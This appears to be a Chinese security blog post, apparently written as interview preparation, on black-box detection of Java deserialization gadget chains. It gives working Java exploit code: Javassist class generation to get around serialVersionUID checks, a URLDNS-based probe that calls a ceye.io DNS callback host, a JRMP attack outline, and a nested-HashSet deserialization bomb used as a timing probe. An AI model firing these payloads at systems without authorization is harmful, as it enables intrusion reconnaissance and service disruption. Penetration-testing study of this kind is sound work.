Java反序列化链探测
1diot9 Lv4

前言

之前面试的时候有被问到怎么在黑盒的条件下去探测存在的利用链。现在来学习一下。

这里主要有两种方式,一种靠出网探测,一种靠延时。

serialVersionUID问题

不知道大家有没有遇到过这个问题:确定服务端有CB依赖,但是却打不通CB链。

有些时候,这个问题就是由serialVersionUID不同导致的。

一个依赖可能有多个版本,而每个版本中的同名类,可能会有变化。serialVersionUID(后面简称suid)就是为了解决这个问题而出现的。这表现在,本地通过cb1.9.4生成的利用链,到服务端cb1.8.3就打不了。

所以,在探测利用链时,我们也需要解决这个问题。否则可能出现,服务端明明有这个类,但是由于suid不同,导致我们误判不存在此依赖。

看一下suid不同报错抛出的代码段:

img

这里有三个条件:

1、序列化数据中的类和目标类都是可序列化的,就是继承Serializable接口

2、序列化数据中的类不是数组

3、序列化数据中的类的suid,和本地类中的不一样

当这三个条件都满足时,会抛出suid不同的报错。

所以,我们现在想办法不满足任意一个条件就行。

这里可以生成不继承Serializable接口的类,或者序列化时使用类数组,即序列化A[].class

这里我选择第一种方法,用Javasissit生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 生成不继承Serializable接口的Class,防止因suid不一样报错
public static Class makeClass(String className, String suid) throws ClassNotFoundException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(className);

if (suid != null) {
// 添加 serialVersionUID 字段并指定其值
CtField serialVersionUIDField = new CtField(CtClass.longType, "serialVersionUID", ctClass);
serialVersionUIDField.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL); // 设置为private static final
ctClass.addField(serialVersionUIDField, suid); // 设置 serialVersionUID 值为 1L
}

Class<?> aClass = ctClass.toClass();
return aClass;
}

上面还可以添加suid,这样能够准确探测依赖版本。

出网探测

DNS法

这里依靠的是URLDNS链。

我们的目标是,如果依赖存在,则顺利进入URLDNS链;如果依赖不存在,则在发出DNS请求前,抛出报错终止。

URLDNS链的触发方法为URL.hashCode,反映在HashMap.readObject里,就是hash(key),所以,URL类一定是作为key的。那我们要探测的类,就理应是value。

img

当HashMap反序列化value时,如果value是个不存在的类,那就会直接报错终止,不进入到最终的DNS请求。

所以exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package tools;

import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.Base64;
import java.util.HashMap;

public class FindClassByDns {
public static void main(String[] args) throws Exception {
FindClassByDns findClassByDns = new FindClassByDns();
String url = "http://cb123.hpdth2.ceye.io";
String className = "org.apache.commons.beanutils.BeanComparator";
String payload = findClassByDns.getPayload(url, className);
ReflectTools.deser(null, payload);
}

public String getPayload(String url, String className) throws Exception {
URLStreamHandler urlStreamHandler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};

URL u = new URL(null, url, urlStreamHandler);
ReflectTools.setFieldValue(u, "hashCode", 1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(u, ReflectTools.makeClass(className, null));

ReflectTools.setFieldValue(u, "hashCode", -1);
byte[] bytes = ReflectTools.ser2bytes(hashMap);
String s = Base64.getEncoder().encodeToString(bytes);

return s;
}
}

JRMP法

当服务端开启RMI注册中心时,可以使用JRMP法探测。

简单讲一下JRMP的攻击流程:

1、攻击机构造特殊的UnicastRef对象的序列化数据,发送给受害机的注册中心

2、注册中心从序列化数据里取出恶意JRMP服务的地址,并发起请求

3、恶意JRMP响应请求,返回恶意序列化数据

4、注册中心直接反序列化数据,从而触发代码执行

JRMP的知识可以参考下面的文章:

https://xz.aliyun.com/news/15240

https://gaorenyusi.github.io/posts/jrmp/

目前还不是特别清楚为什么要这样去探测。也许是目标dns不出网,而且没有反序列化入口,但是开着RMI注册中心?也许是为了绕JEP290的限制?总之,感觉这种探测方法十分麻烦。

httplog

这个跟DNS差不多,只是协议换成http了。本地没去写了。

不出网探测

反序列化炸弹

这里的想法是,构造一个嵌套了很多层的对象,且在反序列化的时候会触发比较耗时的操作,比如计算hashCode什么的。

这里我们选择HashSet。

img

HashSet反序列化最后,会把元素put进HashMap里,而put会触发key.hashCode,这个我们很熟悉了。看看HashSet.hashCode:

img

用的是父类,AbstractSet里的hashCode方法。这里能够看出,计算hash时,是需要依次计算里面所有的元素的。这样一来,如果我们实现HashSet套HashSet,计算量就会指数增长。

最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import tools.ReflectTools;

import java.util.Base64;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;

public class FindClassByBomb{
public static void main(String[] args) throws Exception {
FindClassByBomb findClassByBomb = new FindClassByBomb();
String payload = findClassByBomb.getPayload("org.apache.commons.collections.functors.ChainedTransformer", 28);
Date date = new Date();
System.out.println(date);
ReflectTools.deser(null, payload);
Date date1 = new Date();
System.out.println(date1);
}

public String getPayload(String className, int depth) throws Exception {
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
Class<?> aClass = ReflectTools.makeClass(className, null);
for (int i = 0; i < depth; i++) {
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add(aClass); // Make t1 unequal to t2
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;

}
byte[] bytes = ReflectTools.ser2bytes(root);
String s = Base64.getEncoder().encodeToString(bytes);
return s;
}

}

最终的序列化对象的图示:

img

经过前人验证,这里的深度选择25~28一般能满足大部分探测需求。反正别一下子写太大,不然容易影响正常业务。

本地28层,延时了10s:

img

配合checklist

知道了探测原理后,我们可以自己维护一个checklist,里面记录常见依赖里必须有的类,不同版本依赖中同一个类的suid。这样就能通过写脚本的方式,去批量进行探测。

类似:

img

参考

https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/

https://blog.csdn.net/nevermorewo/article/details/100100048

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量